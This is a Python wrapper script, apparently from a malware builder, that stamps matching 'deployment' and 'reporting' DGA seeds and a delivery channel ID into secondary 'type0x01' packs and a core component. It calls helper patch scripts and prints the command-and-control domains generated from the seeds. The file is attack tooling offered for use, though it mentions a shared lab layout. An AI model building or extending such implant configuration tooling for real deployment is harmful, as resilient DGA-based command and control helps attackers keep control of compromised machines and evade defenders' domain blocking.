#!/usr/bin/env python3 """Convenience wrapper: DGA seed patch for secondary + core (legacy / local use). Prefer ``new_project.py --artifact-root …`` for the shared lab layout. """ from __future__ import annotations import argparse import json import secrets import subprocess import sys from pathlib import Path from _channel_patch import gen_channel_id, validate_channel_id from _common import ORIGINAL_CORE_CHANNEL_ID TOOLS = Path(__file__).resolve().parent BUILDER_ROOT = TOOLS.parent def gen_seed() -> str: return secrets.token_hex(16) def run(cmd: list[str]) -> None: print("+", " ".join(cmd), flush=True) subprocess.run(cmd, cwd=str(BUILDER_ROOT), check=True) def main() -> int: parser = argparse.ArgumentParser( description="Patch type0x01 + core/daily with DGA seeds (no fixed-domain shellcode)." ) parser.add_argument("--deployment-seed", help="optional; default: random 32 hex") parser.add_argument("--reporting-seed", help="optional; default: random 32 hex") parser.add_argument("--channel-id", help="delivery channel for type-0x01 (default: random)") parser.add_argument( "--root", type=Path, help="artifact root with sync/ + web// (required with --apply)", ) parser.add_argument("--apply", action="store_true", help="write into --root") parser.add_argument("-n", "--count", type=int, default=5, help="DGA candidates to print") parser.add_argument( "--shared-layout", action="store_true", default=True, help="use shared sync/ + web// (default: on)", ) parser.add_argument( "--no-shared-layout", action="store_false", dest="shared_layout", help="legacy isolated root/web + root/sync", ) args = parser.parse_args() if args.apply and not args.root: raise SystemExit("--apply requires --root") channel = validate_channel_id(args.channel_id) if args.channel_id else gen_channel_id() if args.deployment_seed and args.reporting_seed and args.deployment_seed != args.reporting_seed: raise SystemExit("deployment and reporting seeds must match") dep = args.deployment_seed or args.reporting_seed or gen_seed() rep = dep py = sys.executable or "python3" root = ["--root", str(args.root.resolve())] if args.root else [] apply = ["--apply"] if args.apply else [] shared = ["--shared-layout"] if args.shared_layout else [] print("=== patch_all (dga) ===") print(f"channel={channel} dep={dep} rep={rep}") run( [ py, str(TOOLS / "patch_secondary_packs.py"), "--deployment-seed", dep, "--reporting-seed", rep, "--channel-id", channel, *shared, *root, *apply, ] ) run( [ py, str(TOOLS / "patch_core.py"), "--deployment-seed", dep, "--reporting-seed", rep, "--channel-id", ORIGINAL_CORE_CHANNEL_ID, *shared, *root, *apply, ] ) result = subprocess.run( [ py, str(TOOLS / "compute_dga_domains.py"), "--deployment-seed", dep, "--reporting-seed", rep, "-n", str(args.count), "--json", ], cwd=str(BUILDER_ROOT), check=True, capture_output=True, text=True, ) domains = json.loads(result.stdout) print(json.dumps({"channel_id": channel, "seeds": {"deployment_seed": dep, "reporting_seed": rep}, "domains": domains}, indent=2)) return 0 if __name__ == "__main__": raise SystemExit(main())